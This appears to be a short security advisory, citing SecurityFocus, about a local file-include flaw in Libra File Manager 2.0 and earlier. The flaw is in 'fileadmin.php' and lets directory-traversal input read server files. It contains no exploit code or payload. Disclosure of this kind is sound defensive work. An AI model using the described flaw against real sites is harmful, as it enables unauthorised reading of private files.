Libra File Manager 1.18/2.0 'fileadmin.php' Local File Include Vulnerability

                                                source: http://www.securityfocus.com/bid/31403/info

Libra File Manager is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to view local files within the context of the webserver process. Information harvested may aid in further attacks.

Libra File Manager 2.0 and prior versions are available.
